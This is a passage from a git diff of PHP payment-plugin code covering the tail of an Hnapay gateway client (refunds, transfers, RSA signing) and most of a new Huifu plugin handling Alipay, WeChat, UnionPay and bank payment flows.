Exception('返回数据解析失败'); + } + } + + //JSAPI回调验签 + public function jsapiVerify($param){ + if(!$param['signValue']) return false; + $sign_order = ['version', 'tranCode', 'merOrderId', 'merId', 'merAttach', 'charset', 'signType', 'hnapayOrderId', 'resultCode', 'tranAmt', 'submitTime', 'tranFinishTime']; + return $this->verifySign($param, $sign_order, $param['signValue']); + } + + //支付宝H5支付 + public function h5Pay($params, $trade_no){ + $apiurl = 'https://gateway.hnapay.com/multipay/h5.do'; + $param = [ + 'version' => "2.0", + 'tranCode' => "MUP11", + 'merId' => $this->mer_id, + 'merOrderId' => $trade_no, + 'submitTime' => substr($trade_no, 0, 14), + 'signType' => $this->sign_type, + 'charset' => $this->charset, + ]; + + $param['msgCiphertext'] = $this->encryptParams($params); + + $sign_order = ['version', 'tranCode', 'merId', 'merOrderId', 'submitTime', 'signType', 'charset', 'msgCiphertext']; + $param['signValue'] = $this->generateSign($param, $sign_order); + + $html = "
    "; + foreach ($param as $key => $value) { + $value = htmlentities($value, ENT_QUOTES | ENT_HTML5); + $html .= ""; + } + $html .= "
    "; + $html .= ""; + + return $html; + } + + //支付宝H5回调验签 + public function alipayh5Verify($param){ + if(!$param['signValue']) return false; + $sign_order = ['version', 'tranCode', 'merOrderId', 'merId', 'charset', 'signType', 'resultCode', 'hnapayOrderId']; + return $this->verifySign($param, $sign_order, $param['signValue']); + } + + //退款 + public function refund($params, $trade_no){ + $apiurl = 'https://gateway.hnapay.com/exp/refund.do'; + $param = [ + 'version' => "2.0", + 'tranCode' => "EXP09", + 'merId' => $this->mer_id, + 'merOrderId' => $trade_no, + 'submitTime' => date('YmdHis'), + 'signType' => $this->sign_type, + 'charset' => $this->charset, + ]; + + $param['msgCiphertext'] = $this->encryptParams($params); + + $sign_order = ['version', 'tranCode', 'merId', 'merOrderId', 'submitTime', 'msgCiphertext']; + $param['signValue'] = $this->generateSign($param, $sign_order); + + $response = get_curl($apiurl, http_build_query($param)); + $arr = json_decode($response, true); + + if(isset($arr['resultCode']) && $arr['resultCode'] == '0000'){ + return $arr; + }elseif(isset($arr['errorCode'])){ + throw new Exception('['.$arr['errorCode'].']'.$arr['errorMsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //付款到银行 + public function transfer($params, $trade_no){ + $apiurl = 'https://gateway.hnapay.com/website/singlePay.do'; + $param = [ + 'version' => "2.1", + 'tranCode' => "SGP01", + 'merId' => $this->mer_id, + 'merOrderId' => $trade_no, + 'submitTime' => date('YmdHis'), + 'signType' => $this->sign_type, + 'charset' => $this->charset, + ]; + + $param['msgCiphertext'] = $this->encryptParams($params); + + $sign_order = ['version', 'tranCode', 'merId', 'merOrderId', 'submitTime', 'msgCiphertext', 'signType']; + $param['signValue'] = $this->generateSign($param, $sign_order); + + $response = get_curl($apiurl, http_build_query($param)); + $arr = json_decode($response, true); + + if(isset($arr['resultCode']) && $arr['resultCode'] == '0000'){ + return $arr; + }elseif(isset($arr['errorCode'])){ + throw new Exception('['.$arr['errorCode'].']'.$arr['errorMsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //商户账户余额查询 + public function transferQuery($orderid){ + $apiurl = 'https://gateway.hnapay.com/website/singlePayQuery.do'; + $param = [ + 'version' => "2.0", + 'tranCode' => "SGP02", + 'merOrderId' => $orderid, + 'submitTime' => substr($orderid, 0, 14), + 'signType' => $this->sign_type, + 'charset' => $this->charset, + ]; + + $sign_order = ['version', 'tranCode', 'merId', 'merOrderId', 'submitTime']; + $param['signValue'] = $this->generateSign($param, $sign_order); + + $response = get_curl($apiurl, http_build_query($param)); + $arr = json_decode($response, true); + + if(isset($arr['resultCode']) && $arr['resultCode'] == '0000'){ + return $arr; + }elseif(isset($arr['errorCode'])){ + throw new Exception('['.$arr['errorCode'].']'.$arr['errorMsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //付款凭证下载 + public function transferProof($hnapayOrderId){ + $trade_no = date('YmdHis').rand(1000, 9999); + $apiurl = 'https://gateway.hnapay.com/website/payCertificate.do'; + $param = [ + 'version' => "2.0", + 'tranCode' => "SGP03", + 'merId' => $this->mer_id, + 'merOrderId' => $trade_no, + 'submitTime' => date('YmdHis'), + 'signType' => $this->sign_type, + 'charset' => $this->charset, + ]; + + $params = [ + 'hnapayOrderId' => $hnapayOrderId + ]; + + $param['msgCiphertext'] = $this->encryptParams($params); + + $sign_order = ['version', 'tranCode', 'merId', 'merOrderId', 'submitTime', 'msgCiphertext']; + $param['signValue'] = $this->generateSign($param, $sign_order); + + $response = get_curl($apiurl, http_build_query($param)); + $arr = json_decode($response, true); + + if(isset($arr['resultCode']) && $arr['resultCode'] == '0000'){ + return $arr; + }elseif(isset($arr['errorCode'])){ + throw new Exception('['.$arr['errorCode'].']'.$arr['errorMsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //商户账户余额查询 + public function queryBalance(){ + $apiurl = 'https://gateway.hnapay.com/merchant/acct/queryBalance.do'; + $param = [ + 'version' => "2.0", + 'tranCode' => "QB01", + 'merId' => $this->mer_id, + 'acctType' => '11', + 'signType' => $this->sign_type, + 'charset' => $this->charset, + ]; + + $sign_order = ['version', 'tranCode', 'merId', 'acctType', 'charset', 'signType']; + $param['signValue'] = $this->generateSign($param, $sign_order); + + $response = get_curl($apiurl, http_build_query($param)); + $arr = json_decode($response, true); + + if(isset($arr['resultCode']) && $arr['resultCode'] == '0000'){ + return $arr; + }elseif(isset($arr['errorCode'])){ + throw new Exception('['.$arr['errorCode'].']'.$arr['errorMsg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //付款回调验签 + public function transferVerify($param){ + if(!$param['signValue']) return false; + $sign_order = ['version', 'tranCode', 'merOrderId', 'merId', 'charset', 'signType', 'resultCode', 'hnapayOrderId']; + return $this->verifySign($param, $sign_order, $param['signValue']); + } + + + //请求参数签名(新收款密钥) + protected function generateSign($param, $sign_order){ + $signStr = $this->getSignContent($param, $sign_order); + return $this->rsaPrivateSign($signStr); + } + + //请求参数签名(收款密钥) + protected function generateSignOld($param, $sign_order){ + $signStr = $this->getSignContent($param, $sign_order); + return $this->rsaPrivateSign($signStr, true); + } + + //参数验签(新收款密钥) + protected function verifySign($param, $sign_order, $sign){ + $signStr = $this->getSignContent($param, $sign_order); + return $this->rsaPubilcVerify($signStr, $sign); + } + + //参数验签(收款密钥) + protected function verifySignOld($param, $sign_order, $sign){ + $signStr = $this->getSignContent($param, $sign_order); + return $this->rsaPubilcVerify($signStr, $sign, true); + } + + //生成待签名字符串 + private function getSignContent($param, $sign_order){ + $signStr = ''; + foreach($sign_order as $key){ + if(!isset($param[$key])){ + throw new Exception('缺少参数'.$key); + } + if(is_array($param[$key])) $param[$key] = json_encode($param[$key], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); + $signStr .= $key.'=['.$param[$key].']'; + } + return $signStr; + } + + //请求参数加密 + protected function encryptParams($params){ + $key = openssl_get_publickey($this->platform_public_key); + if(!$key){ + throw new Exception('加密失败,平台公钥不正确'); + } + $data = json_encode($params); + $dataArray = str_split($data, 117); + $crypted = ''; + foreach($dataArray as $subData){ + $subCrypted = null; + openssl_public_encrypt($subData, $subCrypted, $key); + $crypted .= $subCrypted; + } + $crypted = base64_encode($crypted); + return $crypted; + } + + //商户私钥签名 + private function rsaPrivateSign($data, $is_hex = false){ + openssl_sign($data, $sign, $this->merchant_private_key, OPENSSL_ALGO_SHA1); + $sign = $is_hex ? bin2hex($sign) : base64_encode($sign); + return $sign; + } + + //平台公钥验签 + private function rsaPubilcVerify($data, $sign, $is_hex = false){ + $sign = $is_hex ? hex2bin($sign) : base64_decode($sign); + $result = openssl_verify($data, $sign, $this->platform_public_key); + return $result === 1; + } + + + + //加载平台公钥 + private function loadPublicKey($public_key){ + $res = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($public_key, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + $pubkeyid = openssl_get_publickey($res); + if(!$pubkeyid){ + throw new Exception('平台公钥不正确'); + } + return $pubkeyid; + } + + //加载商户私钥 + private function loadPrivateKey($private_key){ + $res = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($private_key, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + $prikeyid = openssl_get_privatekey($res); + if(!$prikeyid){ + throw new Exception('商户私钥不正确'); + } + return $prikeyid; + } + + //从文件加载平台公钥 + private function loadPublicKeyFile($public_key_path){ + $res = file_get_contents($public_key_path); + $pubkeyid = openssl_get_publickey($res); + if(!$pubkeyid){ + throw new Exception('平台公钥不正确'); + } + return $pubkeyid; + } + + //从文件加载商户私钥 + private function loadPrivateKeyFile($private_key_path){ + $res = file_get_contents($private_key_path); + $prikeyid = openssl_get_privatekey($res); + if(!$prikeyid){ + throw new Exception('商户私钥不正确'); + } + return $prikeyid; + } +} \ No newline at end of file diff --git a/plugins/huifu/huifu_plugin.php b/plugins/huifu/huifu_plugin.php new file mode 100644 index 0000000..5e7d4b0 --- /dev/null +++ b/plugins/huifu/huifu_plugin.php @@ -0,0 +1,746 @@ + 'huifu', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '汇付斗拱平台', //支付插件显示名称 + 'author' => '汇付天下', //支付插件作者 + 'link' => 'https://paas.huifu.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank','ecny'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '汇付系统号', + 'type' => 'input', + 'note' => '当主体为渠道商时填写渠道商ID,主体为直连商户时填写商户ID', + ], + 'appurl' => [ + 'name' => '汇付产品号', + 'type' => 'input', + 'note' => '', + ], + 'appsecret' => [ + 'name' => '商户私钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appkey' => [ + 'name' => '汇付公钥', + 'type' => 'textarea', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '汇付子商户号', + 'type' => 'input', + 'note' => '当主体为渠道商时需要填写,主体为直连商户时不需要填写', + ], + 'project_id' => [ + 'name' => '半支付托管项目号', + 'type' => 'input', + 'note' => '仅托管支付需要填写', + ], + ], + 'select_alipay' => [ + '1' => '扫码支付', + '2' => '托管H5/PC支付', + '3' => '托管小程序支付', + '4' => 'JS支付', + ], + 'select_wxpay' => [ + '1' => '自有公众号/小程序支付', + '2' => '托管H5/PC支付', + '3' => '托管小程序支付', + ], + 'select_bank' => [ + '1' => '银联支付', + '2' => '快捷支付', + '3' => '网银支付', + ], + 'select' => null, + 'note' => null, //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + if(checkalipay() && in_array('4',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='wxpay'){ + if((in_array('1',$channel['apptype']) || in_array('2',$channel['apptype'])) && checkwechat()){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + if(in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + }elseif(in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/quickpay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/unionpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='ecny'){ + return ['type'=>'jump','url'=>'/pay/ecny/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice, $method; + + if($method == 'applet'){ + return self::wxplugin(); + } + elseif($method == 'app'){ + if($order['typename']=='alipay'){ + return self::aliapppay(); + }else{ + return self::wxapppay(); + } + } + elseif($order['typename']=='alipay'){ + if($mdevice=='alipay' && in_array('4',$channel['apptype']) && !in_array('2',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/alipayjs/'.TRADE_NO.'/?d=1']; + }else{ + return self::alipay(); + } + }elseif($order['typename']=='wxpay'){ + if((in_array('1',$channel['apptype']) || in_array('2',$channel['apptype'])) && $mdevice=='wechat'){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + if(in_array('3',$channel['apptype'])){ + return self::bank(); + }elseif(in_array('2',$channel['apptype'])){ + return self::quickpay(); + }else{ + return self::unionpay(); + } + }elseif($order['typename']=='ecny'){ + return self::ecny(); + } + } + + //统一下单 + static private function addOrder($trade_type, $sub_appid=null, $sub_openid=null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once PAY_ROOT."inc/HuifuClient.php"; + $config_info = [ + 'sys_id' => $channel['appid'], + 'product_id' => $channel['appurl'], + 'merchant_private_key' => $channel['appsecret'], + 'huifu_public_key' => $channel['appkey'], + ]; + $client = new HuifuClient($config_info); + + $param = [ + 'req_date' => substr(TRADE_NO,0,8), + 'req_seq_id' => TRADE_NO, + 'huifu_id' => $channel['appmchid']?$channel['appmchid']:$channel['appid'], + 'trade_type' => $trade_type, + 'trans_amt' => $order['realmoney'], + 'goods_desc' => $ordername, + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'risk_check_data' => json_encode(['ip_addr' => $clientip]), + ]; + if($trade_type == 'T_JSAPI' || $trade_type == 'T_MINIAPP'){ + $param['wx_data'] = json_encode(['sub_openid' => $sub_openid, 'openid' => $sub_openid, 'device_info' => '4', 'spbill_create_ip' => $clientip]); + }elseif($trade_type == 'A_JSAPI'){ + $param['alipay_data'] = json_encode(['buyer_id' => $sub_openid]); + }elseif($trade_type == 'T_NATIVE'){ + $param['wx_data'] = json_encode(['product_id' => '01001']); + } + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param, $trade_type) { + $result = $client->requestApi('/v2/trade/payment/jspay', $param); + if(isset($result['resp_code']) && $result['resp_code']=='00000100') { + if($trade_type == 'T_JSAPI' || $trade_type == 'T_MINIAPP' || $trade_type == 'A_JSAPI'){ + return $result['pay_info']; + }else{ + return $result['qr_code']; + } + }elseif(isset($result['resp_desc'])){ + throw new Exception($result['resp_desc'].($result['bank_message']?' '.$result['bank_message']:'')); + }else{ + throw new Exception('返回数据解析失败'); + } + }); + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('1',$channel['apptype']) || empty($channel['apptype'][0])){ + try{ + $code_url = self::addOrder('A_NATIVE'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + }elseif(in_array('2',$channel['apptype'])){ + try{ + $code_url = self::hostingOrder('A_JSAPI', 'M'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + }elseif(in_array('3',$channel['apptype'])){ + try{ + $code_url = self::aliapphosting(); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }elseif(checkmobile() || $device=='mobile'){ + return ['type'=>'page','page'=>'alipay_h5','data'=>['code_url'=>$code_url, 'redirect_url'=>'data.backurl']]; + } + }elseif(in_array('4',$channel['apptype'])){ + $code_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + } + + if(checkalipay() || $mdevice=='alipay'){ + return ['type'=>'jump','url'=>$code_url]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + } + + static public function alipayjs(){ + [$user_type, $user_id] = alipay_oauth(); + + $blocks = checkBlockUser($user_id, TRADE_NO); + if($blocks) return $blocks; + + if($user_type == 'openid'){ + return ['type'=>'error','msg'=>'支付宝快捷登录获取uid失败,需将用户标识切换到uid模式']; + } + + try{ + $payinfo = self::addOrder('A_JSAPI', null, $user_id); + $result = json_decode($payinfo, true); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$result['tradeNO'], 'redirect_url'=>$redirect_url]]; + } + + //微信扫码支付 + static public function wxpay(){ + global $siteurl, $channel, $device; + if(in_array('3',$channel['apptype']) && !in_array('2',$channel['apptype']) || in_array('1',$channel['apptype']) && $channel['appwxa']>0 && !$channel['appwxmp']){ + $code_url = $siteurl.'pay/wxwappay/'.TRADE_NO.'/'; + }else{ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + } + + if (checkmobile() || $device == 'mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + if(in_array('2',$channel['apptype']) || !$channel['appwxmp']){ + try{ + $jump_url = self::hostingOrder('T_JSAPI', 'M'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'jump','url'=>$jump_url]; + } + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $jsApiParameters = self::addOrder('T_JSAPI', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$jsApiParameters, 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $jsApiParameters = self::addOrder('T_MINIAPP', $wxinfo['appid'], $openid); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($jsApiParameters, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if(in_array('3',$channel['apptype'])){ + try{ + $result = self::wxapphosting(); + $code_url = $result['scheme_code']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }elseif(in_array('1',$channel['apptype']) && $channel['appwxa']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }else{ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } + } + + //微信托管小程序下单 + static private function wxapphosting($need_scheme = 'Y', $return_type = false){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once PAY_ROOT."inc/HuifuClient.php"; + $config_info = [ + 'sys_id' => $channel['appid'], + 'product_id' => $channel['appurl'], + 'merchant_private_key' => $channel['appsecret'], + 'huifu_public_key' => $channel['appkey'], + ]; + $client = new HuifuClient($config_info); + + $param = [ + 'pre_order_type' => '3', + 'req_date' => substr(TRADE_NO,0,8), + 'req_seq_id' => TRADE_NO, + 'huifu_id' => $channel['appmchid']?$channel['appmchid']:$channel['appid'], + 'trans_amt' => $order['realmoney'], + 'goods_desc' => $ordername, + 'miniapp_data' => json_encode(['need_scheme'=>$need_scheme]), + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param, $return_type) { + $result = $client->requestApi('/v2/trade/hosting/payment/preorder', $param); + + if(isset($result['resp_code']) && $result['resp_code']=='00000000') { + \lib\Payment::updateOrderCombine(TRADE_NO); + return $return_type ? $result['pre_order_id'] : json_decode($result['miniapp_data'], true); + }elseif(isset($result['resp_desc'])){ + throw new Exception($result['resp_desc'].($result['bank_message']?' '.$result['bank_message']:'')); + }else{ + throw new Exception('返回数据解析失败'); + } + }); + } + + //支付宝托管小程序下单 + static private function aliapphosting(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once PAY_ROOT."inc/HuifuClient.php"; + $config_info = [ + 'sys_id' => $channel['appid'], + 'product_id' => $channel['appurl'], + 'merchant_private_key' => $channel['appsecret'], + 'huifu_public_key' => $channel['appkey'], + ]; + $client = new HuifuClient($config_info); + + $param = [ + 'pre_order_type' => '2', + 'req_date' => substr(TRADE_NO,0,8), + 'req_seq_id' => TRADE_NO, + 'huifu_id' => $channel['appmchid']?$channel['appmchid']:$channel['appid'], + 'trans_amt' => $order['realmoney'], + 'goods_desc' => $ordername, + 'app_data' => json_encode(['app_schema'=>$siteurl. 'pay/return/' . TRADE_NO . '/']), + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param) { + $result = $client->requestApi('/v2/trade/hosting/payment/preorder', $param); + + if(isset($result['resp_code']) && $result['resp_code']=='00000000') { + \lib\Payment::updateOrderCombine(TRADE_NO); + return $result['jump_url']; + }elseif(isset($result['resp_desc'])){ + throw new Exception($result['resp_desc'].($result['bank_message']?' '.$result['bank_message']:'')); + }else{ + throw new Exception('返回数据解析失败'); + } + }); + } + + //H5、PC预下单 + static private function hostingOrder($trans_type, $request_type){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require_once PAY_ROOT."inc/HuifuClient.php"; + $config_info = [ + 'sys_id' => $channel['appid'], + 'product_id' => $channel['appurl'], + 'merchant_private_key' => $channel['appsecret'], + 'huifu_public_key' => $channel['appkey'], + ]; + $client = new HuifuClient($config_info); + + $param = [ + 'req_date' => substr(TRADE_NO,0,8), + 'req_seq_id' => TRADE_NO, + 'huifu_id' => $channel['appmchid']?$channel['appmchid']:$channel['appid'], + 'trans_amt' => $order['realmoney'], + 'goods_desc' => $ordername, + 'pre_order_type' => '1', + 'hosting_data' => json_encode(['project_title'=>$conf['sitename'], 'project_id'=>$channel['project_id'], 'callback_url'=>$siteurl. 'pay/return/' . TRADE_NO . '/', 'request_type'=>$request_type]), + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'trans_type' => $trans_type + ]; + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param) { + $result = $client->requestApi('/v2/trade/hosting/payment/preorder', $param); + + if(isset($result['resp_code']) && $result['resp_code']=='00000000') { + \lib\Payment::updateOrderCombine(TRADE_NO); + return $result['jump_url']; + }elseif(isset($result['resp_desc'])){ + throw new Exception($result['resp_desc'].($result['bank_message']?' '.$result['bank_message']:'')); + }else{ + throw new Exception('返回数据解析失败'); + } + }); + } + + //微信小程序插件支付 + static public function wxplugin(){ + try{ + $pre_order_id = self::wxapphosting('N', true); + $payinfo = ['appId'=>'wx11361ccf7f47b948', 'pre_order_id'=>$pre_order_id]; + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxplugin','data'=>$payinfo]; + } + + //支付宝APP支付 + static public function aliapppay(){ + try{ + $code_url = self::aliapphosting(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信APP支付 + static public function wxapppay(){ + try{ + $result = self::wxapphosting('N'); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'wxapp','data'=>['appId'=>'', 'miniProgramId'=>$result['gh_id'], 'path'=>$result['path']]]; + } + + //云闪付扫码支付 + static public function unionpay(){ + try{ + $code_url = self::addOrder('U_NATIVE'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //快捷支付 + static public function quickpay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $device; + + if(checkmobile() || $device == 'mobile'){ + $request_type = 'M'; + $gw_chnnl_tp = '02'; + $device_type = '1'; + }else{ + $request_type = 'P'; + $gw_chnnl_tp = '01'; + $device_type = '4'; + } + + require_once PAY_ROOT."inc/HuifuClient.php"; + $config_info = [ + 'sys_id' => $channel['appid'], + 'product_id' => $channel['appurl'], + 'merchant_private_key' => $channel['appsecret'], + 'huifu_public_key' => $channel['appkey'], + ]; + $client = new HuifuClient($config_info); + + $param = [ + 'req_seq_id' => TRADE_NO, + 'req_date' => substr(TRADE_NO,0,8), + 'huifu_id' => $channel['appmchid']?$channel['appmchid']:$channel['appid'], + 'trans_amt' => $order['realmoney'], + 'goods_desc' => $ordername, + 'request_type' => $request_type, + 'extend_pay_data' => json_encode(['goods_short_name'=>$order['name'], 'gw_chnnl_tp'=>$gw_chnnl_tp, 'biz_tp'=>'100099']), + 'terminal_device_data' => json_encode(['device_type'=>$device_type, 'device_ip'=>$clientip]), + 'risk_check_data' => json_encode(['ip_addr' => $clientip]), + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'front_url' => $siteurl . 'pay/return/' . TRADE_NO . '/', + ]; + + try{ + $jump_url = \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param) { + $result = $client->requestApi('/v2/trade/onlinepayment/quickpay/frontpay', $param); + + if(isset($result['resp_code']) && ($result['resp_code']=='00000000' || $result['resp_code']=='00000100')) { + return $result['form_url']; + }elseif(isset($result['resp_desc'])){ + throw new Exception($result['resp_desc'].($result['bank_message']?' '.$result['bank_message']:'')); + }else{ + throw new Exception('返回数据解析失败'); + } + }); + return ['type'=>'jump','url'=>$jump_url]; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'快捷支付下单失败!'.$ex->getMessage()]; + } + } + + //网银支付 + static public function bank(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip, $device; + + if(checkmobile() || $device == 'mobile'){ + $gw_chnnl_tp = '02'; + $device_type = '1'; + }else{ + $gw_chnnl_tp = '01'; + $device_type = '4'; + } + + require_once PAY_ROOT."inc/HuifuClient.php"; + $config_info = [ + 'sys_id' => $channel['appid'], + 'product_id' => $channel['appurl'], + 'merchant_private_key' => $channel['appsecret'], + 'huifu_public_key' => $channel['appkey'], + ]; + $client = new HuifuClient($config_info); + + $param = [ + 'req_seq_id' => TRADE_NO, + 'req_date' => substr(TRADE_NO,0,8), + 'huifu_id' => $channel['appmchid']?$channel['appmchid']:$channel['appid'], + 'trans_amt' => $order['realmoney'], + 'goods_desc' => $ordername, + 'extend_pay_data' => json_encode(['goods_short_name'=>$order['name'], 'gw_chnnl_tp'=>$gw_chnnl_tp, 'biz_tp'=>'100099']), + 'terminal_device_data' => json_encode(['device_type'=>$device_type, 'device_ip'=>$clientip]), + 'risk_check_data' => json_encode(['ip_addr' => $clientip]), + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + 'front_url' => $siteurl . 'pay/return/' . TRADE_NO . '/', + ]; + + try{ + $jump_url = \lib\Payment::lockPayData(TRADE_NO, function() use($client, $param) { + $result = $client->requestApi('/v2/trade/onlinepayment/banking/frontpay', $param); + + if(isset($result['resp_code']) && ($result['resp_code']=='00000000' || $result['resp_code']=='00000100')) { + return $result['form_url']; + }elseif(isset($result['resp_desc'])){ + throw new Exception($result['resp_desc'].($result['bank_message']?' '.$result['bank_message']:'')); + }else{ + throw new Exception('返回数据解析失败'); + } + }); + return ['type'=>'jump','url'=>$jump_url]; + }catch(Exception $ex){ + return 